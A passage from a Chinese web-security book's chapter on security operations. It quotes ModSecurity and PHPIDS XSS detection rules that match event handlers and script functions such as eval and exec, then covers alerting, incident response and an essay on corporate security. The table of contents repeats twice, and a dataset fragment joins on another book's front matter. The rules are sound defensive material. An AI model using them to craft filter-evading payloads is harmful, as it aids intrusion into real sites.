REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/*\"\\bonkeydown\\b\\W*?\\=\" \\\"phase:2,rev:'2.2.2',capture,t:none,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,block,msg:'Cross-site Scripting (XSS)Attack',id:'958410',tag:'WEB_ATTACK/XSS',tag:'WASCTC/WASC-8',tag:'WASCTC/WASC-22',tag:'OWASP_TOP_10/A2',tag:'OWASP_AppSensor/IE1',tag:'PCI/6.5.1',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.xss_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-WEB_ATTACK/XSS-%{matched_var_name}=%{tx.0}\"SecRule REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/*\"\\bonmousemove\\b\\W*?\\=\" \\\"phase:2,rev:'2.2.2',capture,t:none,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,block,msg:'Cross-site Scripting (XSS)Attack',id:'958415',tag:'WEB_ATTACK/XSS',tag:'WASCTC/WASC-8',tag:'WASCTC/WASC-22',tag:'OWASP_TOP_10/A2',tag:'OWASP_AppSensor/IE1',tag:'PCI/6.5.1',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.xss_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-WEB_ATTACK/XSS-%{matched_var_name}=%{tx.0}\"SecRule REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/*\"\\blivescript:\" \\\"phase:2,rev:'2.2.2',capture,t:none,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,block,msg:'Cross-site Scripting (XSS)Attack',id:'958022',tag:'WEB_ATTACK/XSS',tag:'WASCTC/WASC-8',tag:'WASCTC/WASC-22',tag:'OWASP_TOP_10/A2',tag:'OWASP_AppSensor/IE1',tag:'PCI/6.5.1',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.xss_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-WEB_ATTACK/XSS-%{matched_var_name}=%{tx.0}\"……另一个同样著名的开源WAF是PHPIDS。PHPIDS是为PHP应用设计的一套入侵检测系统，它与应用代码的结合更为紧密，需要修改应用代码才能使用它。通过如下方式可以加载PH-PIDS。 require_once 'IDS/Init.php'; $request = array( 'REQUEST' => $_REQUEST, 'GET' => $_GET, 'POST' => $_POST, 'COOKIE' => $_COOKIE ); $init = IDS_Init::init('IDS/Config/Config.ini'); $ids = new IDS_Monitor($request, $init); $result = $ids->run(); if (!$result->isEmpty()) { // Take a look at the result object echo $result; }PHPIDS的规则也非常完整，它是以正则的方式写在XML文件中的，比如以下规则：…… <filter> <id>15</id><rule><![CDATA[([^*:\\s\\w,.\\/?+-]\\s*)?(?<![a-z]\\s)(?<![a-z\\/_@\\-\\|])(\\s*return\\s*)?(?:create(?:element|attribute|textnode)|[a-z]+events?|setattribute|getelement\\w+|appendchild|createrange|createcontextualfragment|removenode|parentnode|decodeuricomponent|\\wettimeout|option|useragent)(?(1)[^\\w%\"]|(?:\\s*[^@\\s\\w%\",.+\\-]))]]></rule> <description>Detects JavaScript DOM/miscellaneous properties andmethods</description> <tags> <tag>xss</tag> <tag>csrf</tag> <tag>id</tag> <tag>rfe</tag> </tags> <impact>6</impact> </filter> <filter> <id>16</id><rule><![CDATA[([^*\\s\\w,.\\/?+-]\\s*)?(?<![a-mo-z]\\s)(?<![a-z\\/_@])(\\s*return\\s*)?(?:alert|inputbox|showmodaldialog|showhelp|infinity|isnan|isnull|iterator|msgbox|executeglobal|expression|prompt|write(?:ln)?|confirm|dialog|urn|(?:un)?eval|exec|execscript|tostring|status|execute|window|unescape|navigate|jquery|getscript|extend|prototype)(?(1)[^\\w%\"]|(?:\\s*[^@\\s\\w%\",.:\\/+\\-]))]]></rule> <description>Detects possible includes and typical script methods</description> <tags> <tag>xss</tag> <tag>csrf</tag> <tag>id</tag> <tag>rfe</tag> </tags> <impact>5</impact> </filter>……但是在实际使用IDS产品时，需要根据具体情况调整规则，避免误报。规则的优化是一个相对较长的过程，需要经过实践的检验。因此IDS在很多时候仅仅是报警，而不会由程序直接处理报告的攻击。人工处理报警，会带来运营成本的提升。除了部署入侵检测产品外，在应用中也可以实现代码级的安全监控功能。比如在实施CSRF方案时，采取的办法是对比用户提交表单中的token与当前用户Session中的token是否一致。当比对失败时，可以由应用记录下当前请求的IP地址、时间、URL、用户名等相关信息。这些安全日志汇总后，可以酌情发出安全警报。在应用代码中输出安全日志，需要执行IO的写操作，对性能会有一些影响。在设计方案时，要考虑到这种写日志的动作是否会频繁发生。在正常情况下，应用也会频繁地执行写日志的动作，那么这个日志并不适合启用。安全日志也属于机密信息，应该实时地保存到远程服务器。\n18.5 紧急响应流程正如前文所述，安全监控的目的是为了在最快的时间内做出反应，因此报警机制必不可少。入侵检测系统或其他安全监控产品的规则被触发时，根据攻击的严重程度，最终会产生“事件”（Event）或“报警”（Alert），报警是一种主动通知管理员的提醒方式。常见的报警方式有三种。（1）邮件报警这是成本最低的报警方式，建立一个SMTP服务器就可以发送报警邮件。当一个监控到的事件发生时，可以调用邮件API发出邮件报警。但是邮件报警的实时性较差，邮件从发出到接收到存在一定的时间差，且邮件服务器可能会被队列堵塞，导致邮件延时或者丢邮件。但邮件报警的好处是，报警内容可以描写得丰富翔实。（2）IM报警通过调用一些IM的API，可以实现IM报警。如果公司没有自己的IM软件，也可以采用一些开源的IM。IM报警相对邮件报警来说实时性要好一些，但IM报警的内容长度有限，难以像邮件报警的内容一样丰富。（3）短信报警随着手机的普及，短信报警也成为越来越重要的一种报警方式。短信报警需要架设短信网关，或者采用互联网上提供的一些短信发送服务。短信报警的实时性最好，无论管理员在何时何地都能收到报警。但短信报警的局限之处是单条短信能容纳的内容较少，因此短信报警内容一般都短小精悍。监控与报警都建立后，就可以开始着手制定“紧急响应流程”了。紧急响应流程是在发生紧急安全事件时，需要启动的一个用于快速处理事件的流程。很多时候由于缺乏紧急响应流程，或者紧急响应流程执行不到位，使得一些本来可以快速平息的安全事件，最终造成巨大的损失。建立紧急响应流程，首先要建立“紧急响应小组”，这个小组全权负责对紧急安全事件的处理、资源协调工作。小组成员需要包括： 技术负责人产品负责人最了解技术架构的资深开发工程师资深网络工程师资深系统运维工程师资深DBA资深安全专家监控工程师公司公关这个小组的主要工作是在第一时间弄清楚问题产生的原因，并协调相关的资源进行处理。因此小组的成员可能随时扩大。小组成员中包含公司公关，是因为遇到一些影响较大的安全事件时，需要公关发对外的新闻稿。由于公关一般不太了解技术，因此公司公关对外发的新闻稿需要参考安全专家的意见，以免出现言辞不当的情况。当安全事件发生时，首先应该通知到安全专家，并由安全专家召集紧急响应小组，处理相关问题。在处理安全问题时，有两个需要注意的地方。一是需要保护安全事件的现场。从以往的经验看，很多时候由于缺乏安全专家的指导，安全事件的现场往往被工程师破坏，这对后续分析入侵行为以及定损带来了困难。当入侵事件发生时，首先不要慌张，应该先弄清楚入侵者的所有行为都有哪些，然后评估入侵事件所造成的损失。比较合理的做法是先将被入侵的机器下线，在线下进行分析。二是以最快的速度处理完问题。紧急响应流程启动后，就是与时间争分夺秒，因此务必在最短的时间内找到对应的人，并制定出相应的计划，很多流程能省则省。这也是为何需要让技术负责人、产品负责人，以及各个领域的资深工程师加入的原因。紧急响应小组的成员，一定要是最了解公司业务和架构的人，这样才能快速定位和解决问题。紧急响应流程建立以后，可以适当地进行一两次演习，以保证流程的有效性。这些，都是安全运营需要做的工作。\n18.6 小结本章介绍了安全运营的一些方法。公司安全的发展蓝图可以分为“Find andFix”、“Defend and Defer”、“Secure at the Source”三个方向，每一个方向的最终结果都需要由“安全运营”来保证。安全运营实施的好坏，将决定公司安全是否能健康地发展。只有把安全运营起来，在变化中对抗攻击，才能真正让安全成为一个持续的过程，才能走在正确的道路上。\n（附）谈谈互联网企业安全的发展方向讨论范围限定在互联网公司，是为了避免和一些安全公司打口水战。我一向认为互联网公司的安全做到极致后，是不太需要购买安全软件或解决方案的，因为一个大的互联网公司发展到一定程度后，其规模和复杂程度决定了世界上没有哪一家安全公司能够提供这样的解决方案，一切都得自力更生。当然这句话也不是绝对的，一些非关键领域或者基础安全领域还是需要安全厂商的支持，比如防火墙设备、桌面安全设备、防DDOS设备等。但我今天要说的是互联网公司安全的方向。我的命题是：我们今天做了什么，做得够不够，接下来我们还需要做些什么？在过去的很长时间内，无论是漏洞挖掘者还是安全专家们，都在致力于研究各种各样的漏洞，以此为代表的是OWASP每隔几年就会公布的Top10威胁List。所以在很长一段时间内，互联网公司的安全专家们，包括安全厂商的产品专家们，都在致力于做一件事情：不管是产品还是方案，尽可能地消灭这些漏洞。因此，我把互联网公司安全的第一个目标，定义为：让工程师写出的每一行代码都是安全的！这第一个目标应该理解为互联网公司的产品安全。一个以产品（包括网站、在线服务等，在互联网公司里在线服务也被称为产品）驱动的公司，要做安全，第一件事情必然是要保证核心业务的健康发展。为了达到这个目标，微软有了SDL，基于对软件工程的改造，SDL可以帮助工程师编写出安全的代码。微软的SDL达成了“让微软的工程师写出的大部分代码都是安全的”这一目标。所以我认为SDL是伟大的创造，它在无限接近终极目标。在这个SDL中，我们就有很多东西需要去完善，也促进了相当多的衍生技术研究和技术产品。比如代码安全扫描工具的研究，仅此一项，就涉及语法分析、词法分析、数据关联、统计学等诸多问题；再比如fuzzing，则涉及各类协议或文件格式、统计学、数据处理、调试与回溯、可重用的测试环境建设等诸多复杂问题。把每一项做精，都不是件容易的事情。所以SDL是一项需要长期坚持和不断完善的工作。但是光有这个还无法100%保证不会出现安全问题，于是我定义了互联网公司安全的第二个目标：让所有已知的、未知的攻击，都能在第一时间发现，并迅速报警和追踪。这第二个目标也挺宏伟的，涉及许多IDS、IPS、蜜罐方面的研究，但光有现有的这些技术，还是远远无法完成这个目标的，因为现在已有的商业的、开源的IDS及IPS都存在着种种局限性，而互联网公司的海量数据和复杂需求，也对这些现有产品提出了严峻的挑战。只有借助大规模超强的计算能力，实施有效的数据挖掘和数据关联工作，或者建立更加立体化的模型，才能逐渐逼近这一目标。这个目标也是需要无限逼近去完成的一个宏伟目标。我目前在公司做的部分事情，就是在向着这个目标努力，所以无法在这里详谈、深谈。光前面两个目标，就不知道需要投入多少人力、时间来努力，但我还有点不满足，所以我定义了第三个目标：让安全成为公司的核心竞争力，深入到每一个产品的特性中，能够更好地引导用户使用互联网的习惯。在一开始，我们使用电脑时，是不需要安装任何杀毒软件的。但是到了今天，如果一个普通用户新买了电脑，却没有安装任何的杀毒软件或者桌面保护软件，那么大家都会担心他会不会中病毒或木马。这种需求和市场，就完全是病毒和杀毒软件厂商培养和熏陶出来的。所以在今天，很多电脑生产商甚至在电脑出厂时就会预装一个杀毒软件。前两天我去超市，看到乐事的薯片捆绑销售一盒小的番茄酱。我马上想到了肯德基和麦当劳，我不知道在它们之前是否还有别的速食品是把薯条和番茄酱配在一起销售的，但是我认为肯德基和麦当劳改变了人们吃薯条的习惯：是要蘸着番茄酱吃的。所以乐事的薯片捆绑销售番茄酱，也可以看做是被肯德基做出来的需求和市场。所以，我认为做互联网公司安全需要达成的一个目标是让安全成为深深植入产品骨髓的一个功能和特性，引导用户使用互联网的习惯，把这个需求和市场做出来。这更是一件需要长期投入和坚持的事情。我还有最后一个目标：能够观测到整个互联网安全趋势的变化，对未来一段时间内的风险做出预警。这个预警的目标也是我们部门当初草创时的目标之一，我至今还没有很好的头绪来想这些问题。但是这个目标反而是今天列举的这些目标中最容易达到的一个，因为已经有公司在做了，而且比较成功。比如McAfee和赛门铁克每隔一段时间都会有互联网威胁报告，国外一些组织比如SANS等也有类似的报告。腾讯这几年一直在做挂马检测方面的工作，所以他们也能在一定程度上预警挂马方面的趋势。由于有前人的榜样，再借助大规模的客户端或者是强力搜索引擎的海量数据，要做这件事情的路线和方法还是非常清晰的，只是要想做好，还得花上很多的时间和精力。安全技术一直是依附于技术发展的，不光是技术发展开辟了新的需要安全的领域，技术发展也能给安全技术带来更多的想象空间。比如10年前，甚至是5年前，可能我们都不需要去想手机是否需要安全这件事情。但是在今天，手机安全已经成为刻不容缓的一个战场，比如前两天报道的在澳洲传播的iPhone蠕虫，这些已经是实实在在的威胁。而手机安全反过来也促进了一些新的安全技术，比如手机认证能够起到与客户端证书类似的作用，甚至比客户端证书更进一步，因为手机不是装在电脑上的，而是放在用户的裤兜里的。类似的还有随着计算能力的提升，已经能够处理更大规模的数据，从而使得安全分析会有一些新的发展和变化，这些都是在过去不敢想象的。在互联网公司做安全一定要有想象力，同时需要紧密关注其他技术领域的发展，这样就不会止步于几种漏洞的研究，而会发现有非常多的有趣的事情正等着去做，这是一个非常宏伟的蓝图。\nTable of Contents前言序言第1章 我的安全世界观1.1 Web安全简史1.1.1 中国黑客简史1.1.2 黑客技术的发展历程1.1.3 Web安全的兴起1.2 黑帽子，白帽子1.3 返璞归真，揭秘安全的本质1.4 破除迷信，没有银弹1.5 安全三要素1.6 如何实施安全评估1.6.1 资产等级划分1.6.2 威胁分析1.6.3 风险分析1.6.4 设计安全方案1.7 白帽子兵法1.7.1 Secure By Default原则1.7.1.1 黑名单、白名单1.7.1.2 最小权限原则1.7.2 纵深防御原则1.7.3 数据与代码分离原则1.7.4 不可预测性原则1.8 小结（附）谁来为漏洞买单？第2章 浏览器安全2.1 同源策略2.2 浏览器沙箱2.3 恶意网址拦截2.4 高速发展的浏览器安全2.5 小结第3章 跨站脚本攻击（XSS）3.1 XSS简介3.2 XSS攻击进阶3.2.1 初探XSS Payload3.2.2 强大的XSS Payload3.2.2.1 构造GET与POST请求3.2.2.2 XSS钓鱼3.2.2.3 识别用户浏览器3.2.2.4 识别用户安装的软件3.2.2.5 CSS History Hack3.2.2.6 获取用户的真实IP地址3.2.3 XSS 攻击平台3.2.4 终极武器：XSS Worm3.2.4.1 Samy Worm3.2.4.2 百度空间蠕虫3.2.5 调试JavaScript3.2.6 XSS构造技巧3.2.6.1 利用字符编码3.2.6.2 绕过长度限制3.2.6.3 使用<base>标签3.2.6.4 window.name的妙用3.2.7 变废为宝：Mission Impossible3.2.7.1 Apache Expect Header XSS3.2.7.2 Anehta的回旋镖3.2.8 容易被忽视的角落：Flash XSS3.2.9 真的高枕无忧吗：JavaScript3.3 XSS的防御3.3.1 四两拨千斤：HttpOnly3.3.2 输入检查3.3.3 输出检查3.3.3.1 安全的编码函数3.3.3.2 只需一种编码吗3.3.4 正确地防御XSS3.3.5 处理富文本3.3.6 防御DOM Based XSS3.3.7 换个角度看XSS的风险3.4 小结第4章 跨站点请求伪造（CSRF）4.1 CSRF简介4.2 CSRF进阶4.2.1 浏览器的Cookie策略4.2.2 P3P头的副作用4.2.3 GET? POST?4.2.4 Flash CSRF4.2.5 CSRF Worm4.3 CSRF的防御4.3.1 验证码4.3.2 Referer Check4.3.3 Anti CSRF Token4.3.3.1 CSRF的本质4.3.3.2 Token的使用原则4.4 小结第5章 点击劫持（ClickJacking）5.1 什么是点击劫持5.2 Flash点击劫持5.3 图片覆盖攻击5.4 拖拽劫持与数据窃取5.5 ClickJacking 3.0：触屏劫持5.6 防御ClickJacking5.6.1 frame busting5.6.2 X-Frame-Options5.7 小结第6章 HTML 5安全6.1 HTML 5新标签6.1.1 新标签的XSS6.1.2 iframe的sandbox6.1.3 Link Types: noreferrer6.1.4 Canvas的妙用6.2 其他安全问题6.2.1 Cross-Origin Resource Sharing6.2.2 postMessage——跨窗口传递6.2.3 Web Storage6.3 小结第7章 注入攻击7.1 SQL注入7.1.1 盲注（Blind Injection）7.1.2 Timing Attack7.2 数据库攻击技巧7.2.1 常见的攻击技巧7.2.2 命令执行7.2.3 攻击存储过程7.2.4 编码问题7.2.5 SQL Column Truncation7.3 正确地防御SQL注入7.3.1 使用预编译语句7.3.2 使用存储过程7.3.3 检查数据类型7.3.4 使用安全函数7.4 其他注入攻击7.4.1 XML注入7.4.2 代码注入7.4.3 CRLF注入7.5 小结第8章 文件上传漏洞8.1 文件上传漏洞概述8.1.1 从FCKEditor文件上传漏洞谈起8.1.2 绕过文件上传检查功能8.2 功能还是漏洞8.2.1 Apache文件解析问题8.2.2 IIS文件解析问题8.2.3 PHP CGI路径解析问题8.2.4 利用上传文件钓鱼8.3 设计安全的文件上传功能8.4 小结第9章 认证与会话管理9.1 Who am I?9.2 密码的那些事儿9.3 多因素认证9.4 Session与认证9.5 Session Fixation攻击9.6 Session保持攻击9.7 单点登录（SSO）9.8 小结第10章 访问控制10.1 What Can I Do?10.2 垂直权限管理10.3 水平权限管理10.4 OAuth简介10.5 小结第11章 加密算法与随机数11.1 概述11.2 Stream Cipher Attack11.2.1 Reused Key Attack11.2.2 Bit-flipping Attack11.2.3 弱随机IV问题11.3 WEP破解11.4 ECB模式的缺陷11.5 Padding Oracle Attack11.6 密钥管理11.7 伪随机数问题11.7.1 弱伪随机数的麻烦11.7.2 时间真的随机吗11.7.3 破解伪随机数算法的种子11.7.4 使用安全的随机数11.8 小结（附）Understanding MD5第12章 Web框架安全12.1 MVC框架安全12.2 模板引擎与XSS防御12.3 Web框架与CSRF防御12.4 HTTP Headers管理12.5 数据持久层与SQL注入12.6 还能想到什么12.7 Web框架自身安全12.7.1 Struts 2命令执行漏洞12.7.2 Struts 2的问题补丁12.7.3 Spring MVC命令执行漏洞12.7.4 Django命令执行漏洞12.8 小结第13章 应用层拒绝服务攻击13.1 DDOS简介13.2 应用层DDOS13.2.1 CC攻击13.2.2 限制请求频率13.2.3 道高一尺，魔高一丈13.3 验证码的那些事儿13.4 防御应用层DDOS13.5 资源耗尽攻击13.5.1 Slowloris攻击13.5.2 HTTP POST DOS13.5.3 Server Limit DOS13.6 一个正则引发的血案：ReDOS13.7 小结第14章 PHP安全14.1 文件包含漏洞14.1.1 本地文件包含14.1.2 远程文件包含14.1.3 本地文件包含的利用技巧14.2 变量覆盖漏洞14.2.1 全局变量覆盖14.2.2 extract()变量覆盖14.2.3 遍历初始化变量14.2.4 import_request_variables变量覆盖14.2.5 parse_str()变量覆盖14.3 代码执行漏洞14.3.1 “危险函数”执行代码14.3.1.1 phpMyAdmin 3.4.3.1远程代码执行漏洞14.3.1.2 MyBB 1.4远程代码执行漏洞14.3.2 “文件写入”执行代码14.3.3 其他执行代码方式14.4 定制安全的PHP环境14.5 小结第15章 Web Server配置安全15.1 Apache安全15.2 Nginx安全15.3 jBoss远程命令执行15.4 Tomcat远程命令执行15.5 HTTP Parameter Pollution15.6 小结第16章 互联网业务安全16.1 产品需要什么样的安全16.1.1 互联网产品对安全的需求16.1.2 什么是好的安全方案16.2 业务逻辑安全16.2.1 永远改不掉的密码16.2.2 谁是大赢家16.2.3 瞒天过海16.2.4 关于密码取回流程16.3 账户是如何被盗的16.3.1 账户被盗的途径16.3.2 分析账户被盗的原因16.4 互联网的垃圾16.4.1 垃圾的危害16.4.2 垃圾处理16.5 关于网络钓鱼16.5.1 钓鱼网站简介16.5.2 邮件钓鱼16.5.3 钓鱼网站的防控16.5.3.1 控制钓鱼网站传播途径16.5.3.2 直接打击钓鱼网站16.5.3.3 用户教育16.5.3.4 自动化识别钓鱼网站16.5.4 网购流程钓鱼16.6 用户隐私保护16.6.1 互联网的用户隐私挑战16.6.2 如何保护用户隐私16.6.3 Do-Not-Track16.7 小结（附）麻烦的终结者第17章 安全开发流程（SDL）17.1 SDL简介17.2 敏捷SDL17.3 SDL实战经验17.4 需求分析与设计阶段17.5 开发阶段17.5.1 提供安全的函数17.5.2 代码安全审计工具17.6 测试阶段17.7 小结第18章 安全运营18.1 把安全运营起来18.2 漏洞修补流程18.3 安全监控18.4 入侵检测18.5 紧急响应流程18.6 小结（附）谈谈互联网企业安全的发展方向\nTable of Contents前言序言第1章 我的安全世界观1.1 Web安全简史1.1.1 中国黑客简史1.1.2 黑客技术的发展历程1.1.3 Web安全的兴起1.2 黑帽子，白帽子1.3 返璞归真，揭秘安全的本质1.4 破除迷信，没有银弹1.5 安全三要素1.6 如何实施安全评估1.6.1 资产等级划分1.6.2 威胁分析1.6.3 风险分析1.6.4 设计安全方案1.7 白帽子兵法1.7.1 Secure By Default原则1.7.1.1 黑名单、白名单1.7.1.2 最小权限原则1.7.2 纵深防御原则1.7.3 数据与代码分离原则1.7.4 不可预测性原则1.8 小结（附）谁来为漏洞买单？第2章 浏览器安全2.1 同源策略2.2 浏览器沙箱2.3 恶意网址拦截2.4 高速发展的浏览器安全2.5 小结第3章 跨站脚本攻击（XSS）3.1 XSS简介3.2 XSS攻击进阶3.2.1 初探XSS Payload3.2.2 强大的XSS Payload3.2.2.1 构造GET与POST请求3.2.2.2 XSS钓鱼3.2.2.3 识别用户浏览器3.2.2.4 识别用户安装的软件3.2.2.5 CSS History Hack3.2.2.6 获取用户的真实IP地址3.2.3 XSS 攻击平台3.2.4 终极武器：XSS Worm3.2.4.1 Samy Worm3.2.4.2 百度空间蠕虫3.2.5 调试JavaScript3.2.6 XSS构造技巧3.2.6.1 利用字符编码3.2.6.2 绕过长度限制3.2.6.3 使用<base>标签3.2.6.4 window.name的妙用3.2.7 变废为宝：Mission Impossible3.2.7.1 Apache Expect Header XSS3.2.7.2 Anehta的回旋镖3.2.8 容易被忽视的角落：Flash XSS3.2.9 真的高枕无忧吗：JavaScript3.3 XSS的防御3.3.1 四两拨千斤：HttpOnly3.3.2 输入检查3.3.3 输出检查3.3.3.1 安全的编码函数3.3.3.2 只需一种编码吗3.3.4 正确地防御XSS3.3.5 处理富文本3.3.6 防御DOM Based XSS3.3.7 换个角度看XSS的风险3.4 小结第4章 跨站点请求伪造（CSRF）4.1 CSRF简介4.2 CSRF进阶4.2.1 浏览器的Cookie策略4.2.2 P3P头的副作用4.2.3 GET? POST?4.2.4 Flash CSRF4.2.5 CSRF Worm4.3 CSRF的防御4.3.1 验证码4.3.2 Referer Check4.3.3 Anti CSRF Token4.3.3.1 CSRF的本质4.3.3.2 Token的使用原则4.4 小结第5章 点击劫持（ClickJacking）5.1 什么是点击劫持5.2 Flash点击劫持5.3 图片覆盖攻击5.4 拖拽劫持与数据窃取5.5 ClickJacking 3.0：触屏劫持5.6 防御ClickJacking5.6.1 frame busting5.6.2 X-Frame-Options5.7 小结第6章 HTML 5安全6.1 HTML 5新标签6.1.1 新标签的XSS6.1.2 iframe的sandbox6.1.3 Link Types: noreferrer6.1.4 Canvas的妙用6.2 其他安全问题6.2.1 Cross-Origin Resource Sharing6.2.2 postMessage——跨窗口传递6.2.3 Web Storage6.3 小结第7章 注入攻击7.1 SQL注入7.1.1 盲注（Blind Injection）7.1.2 Timing Attack7.2 数据库攻击技巧7.2.1 常见的攻击技巧7.2.2 命令执行7.2.3 攻击存储过程7.2.4 编码问题7.2.5 SQL Column Truncation7.3 正确地防御SQL注入7.3.1 使用预编译语句7.3.2 使用存储过程7.3.3 检查数据类型7.3.4 使用安全函数7.4 其他注入攻击7.4.1 XML注入7.4.2 代码注入7.4.3 CRLF注入7.5 小结第8章 文件上传漏洞8.1 文件上传漏洞概述8.1.1 从FCKEditor文件上传漏洞谈起8.1.2 绕过文件上传检查功能8.2 功能还是漏洞8.2.1 Apache文件解析问题8.2.2 IIS文件解析问题8.2.3 PHP CGI路径解析问题8.2.4 利用上传文件钓鱼8.3 设计安全的文件上传功能8.4 小结第9章 认证与会话管理9.1 Who am I?9.2 密码的那些事儿9.3 多因素认证9.4 Session与认证9.5 Session Fixation攻击9.6 Session保持攻击9.7 单点登录（SSO）9.8 小结第10章 访问控制10.1 What Can I Do?10.2 垂直权限管理10.3 水平权限管理10.4 OAuth简介10.5 小结第11章 加密算法与随机数11.1 概述11.2 Stream Cipher Attack11.2.1 Reused Key Attack11.2.2 Bit-flipping Attack11.2.3 弱随机IV问题11.3 WEP破解11.4 ECB模式的缺陷11.5 Padding Oracle Attack11.6 密钥管理11.7 伪随机数问题11.7.1 弱伪随机数的麻烦11.7.2 时间真的随机吗11.7.3 破解伪随机数算法的种子11.7.4 使用安全的随机数11.8 小结（附）Understanding MD5第12章 Web框架安全12.1 MVC框架安全12.2 模板引擎与XSS防御12.3 Web框架与CSRF防御12.4 HTTP Headers管理12.5 数据持久层与SQL注入12.6 还能想到什么12.7 Web框架自身安全12.7.1 Struts 2命令执行漏洞12.7.2 Struts 2的问题补丁12.7.3 Spring MVC命令执行漏洞12.7.4 Django命令执行漏洞12.8 小结第13章 应用层拒绝服务攻击13.1 DDOS简介13.2 应用层DDOS13.2.1 CC攻击13.2.2 限制请求频率13.2.3 道高一尺，魔高一丈13.3 验证码的那些事儿13.4 防御应用层DDOS13.5 资源耗尽攻击13.5.1 Slowloris攻击13.5.2 HTTP POST DOS13.5.3 Server Limit DOS13.6 一个正则引发的血案：ReDOS13.7 小结第14章 PHP安全14.1 文件包含漏洞14.1.1 本地文件包含14.1.2 远程文件包含14.1.3 本地文件包含的利用技巧14.2 变量覆盖漏洞14.2.1 全局变量覆盖14.2.2 extract()变量覆盖14.2.3 遍历初始化变量14.2.4 import_request_variables变量覆盖14.2.5 parse_str()变量覆盖14.3 代码执行漏洞14.3.1 “危险函数”执行代码14.3.1.1 phpMyAdmin 3.4.3.1远程代码执行漏洞14.3.1.2 MyBB 1.4远程代码执行漏洞14.3.2 “文件写入”执行代码14.3.3 其他执行代码方式14.4 定制安全的PHP环境14.5 小结第15章 Web Server配置安全15.1 Apache安全15.2 Nginx安全15.3 jBoss远程命令执行15.4 Tomcat远程命令执行15.5 HTTP Parameter Pollution15.6 小结第16章 互联网业务安全16.1 产品需要什么样的安全16.1.1 互联网产品对安全的需求16.1.2 什么是好的安全方案16.2 业务逻辑安全16.2.1 永远改不掉的密码16.2.2 谁是大赢家16.2.3 瞒天过海16.2.4 关于密码取回流程16.3 账户是如何被盗的16.3.1 账户被盗的途径16.3.2 分析账户被盗的原因16.4 互联网的垃圾16.4.1 垃圾的危害16.4.2 垃圾处理16.5 关于网络钓鱼16.5.1 钓鱼网站简介16.5.2 邮件钓鱼16.5.3 钓鱼网站的防控16.5.3.1 控制钓鱼网站传播途径16.5.3.2 直接打击钓鱼网站16.5.3.3 用户教育16.5.3.4 自动化识别钓鱼网站16.5.4 网购流程钓鱼16.6 用户隐私保护16.6.1 互联网的用户隐私挑战16.6.2 如何保护用户隐私16.6.3 Do-Not-Track16.7 小结（附）麻烦的终结者第17章 安全开发流程（SDL）17.1 SDL简介17.2 敏捷SDL17.3 SDL实战经验17.4 需求分析与设计阶段17.5 开发阶段17.5.1 提供安全的函数17.5.2 代码安全审计工具17.6 测试阶段17.7 小结第18章 安全运营18.1 把安全运营起来18.2 漏洞修补流程18.3 安全监控18.4 入侵检测18.5 紧急响应流程18.6 小结（附）谈谈互联网企业安全的发展方向"},"category":{"kind":"string","value":"epub_books"}}},{"rowIdx":24,"cells":{"text":{"kind":"string","value":"内容简介\n业务安全漏洞作为常见的Web安全漏洞，在各大漏洞平台时有报道，本书是一本从原\n理到案例分析，系统性地介绍这门技术的书籍。撰写团队具有10年大型网站业务安全测试\n经验，成员们对常见业务安全漏洞进行梳理，总结出了全面、详细的适用于电商、银行、\n金融、证券、保险、游戏、社交、招聘等业务系统的测试理论、工具、方法及案例。\n本书共15章，包括理论篇、技术篇和实践篇。理论篇首先介绍从事网络安全工作涉及\n的相关法律法规，请大家一定要做一个遵纪守法的白帽子，然后介绍业务安全引发的一些\n安全问题和业务安全测试相关的方法论，以及怎么去学好业务安全。技术篇和实践篇选取\n的内容都是这些白帽子多年在电商、金融、证券、保险、游戏、社交、招聘、O2O等不同\n行业、不同的业务系统存在的各种类型业务逻辑漏洞进行安全测试总结而成的，能够帮助\n读者理解不同行业的业务系统涉及的业务安全漏洞的特点。具体来说，技术篇主要介绍登\n录认证模块测试、业务办理模块测试、业务授权访问模块测试、输入/输出模块测试、回\n退模块测试、验证码机制测试、业务数据安全测试、业务流程乱序测试、密码找回模块测\n试、业务接口模块调用测试等内容。实践篇主要针对技术篇中的测试方法进行相关典型案\n例的测试总结，包括账号安全案例总结、密码找回案例总结、越权访问案例、OAuth2.0案\n例总结、在线支付安全案例总结等。\n通过对本书的学习，读者可以很好地掌握业务安全层面的安全测试技术，并且可以协\n助企业规避业务安全层面的安全风险。本书比较适合作为企业专职安全人员、研发人员、\n普通高等院校网络空间安全学科的教学用书和参考书，以及作为网络安全爱好者的自学用\n书。\n未经许可，不得以任何方式复制或抄袭本书之部分或全部内容。\n版权所有，侵权必究。\n图书在版编目（CIP）数据\nWeb攻防之业务安全实战指南/陈晓光等编著.—北京：电子工业出版社，2018.3\nISBN 978-7-121-33581-5\nⅠ.①W… Ⅱ.①陈… Ⅲ.①互联网络-安全技术-指南 Ⅳ.①TP393.408-62\n中国版本图书馆CIP数据核字（2018）第019878号\n责任编辑：董英\n印刷：三河市双峰印刷装订有限公司\n装订：三河市双峰印刷装订有限公司\n出版发行：电子工业出版社\n北京市海淀区万寿路173信箱 邮编 100036\n开本：787×980 1/16 印张：17.5 